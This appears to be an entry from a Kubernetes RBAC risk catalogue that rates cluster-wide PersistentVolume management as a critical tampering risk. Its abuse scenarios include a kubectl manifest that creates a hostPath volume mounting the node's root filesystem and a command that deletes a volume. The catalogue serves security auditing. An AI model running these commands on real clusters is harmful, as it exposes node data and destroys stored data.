Overview

FieldValue
ID1017
NameManage PersistentVolumes (cluster-wide storage manipulation)
Risk CategoryTampering
Risk LevelCritical
Role TypeClusterRole
API Groupscore
Resourcespersistentvolumes
Risky Verb Combinations[create] · [update] · [patch] · [delete] · [deletecollection]
TagsDataExposure DataLoss DenialOfService StorageManipulation Tampering

Description

Permits creating, updating, patching, or deleting PersistentVolumes across the cluster. This allows manipulation of cluster-wide storage, potentially leading to data exposure by accessing sensitive data, data loss by deleting volumes, tampering with stored information, or denial of service.

Abuse Scenarios

  1. Create a new PersistentVolume with hostPath to access node filesystem.
kubectl create -f - <<EOF
apiVersion: v1
kind: PersistentVolume
metadata:
  name: hostpath-pv
spec:
  capacity:
    storage: 1Gi
  accessModes:
    - ReadWriteOnce
  hostPath:
    path: /
EOF
# Example: kubectl create -f - <<EOF ... EOF
  1. Delete an existing PersistentVolume, potentially causing data loss.
kubectl delete pv <persistentvolume-name>
# Example: kubectl delete pv my-app-pv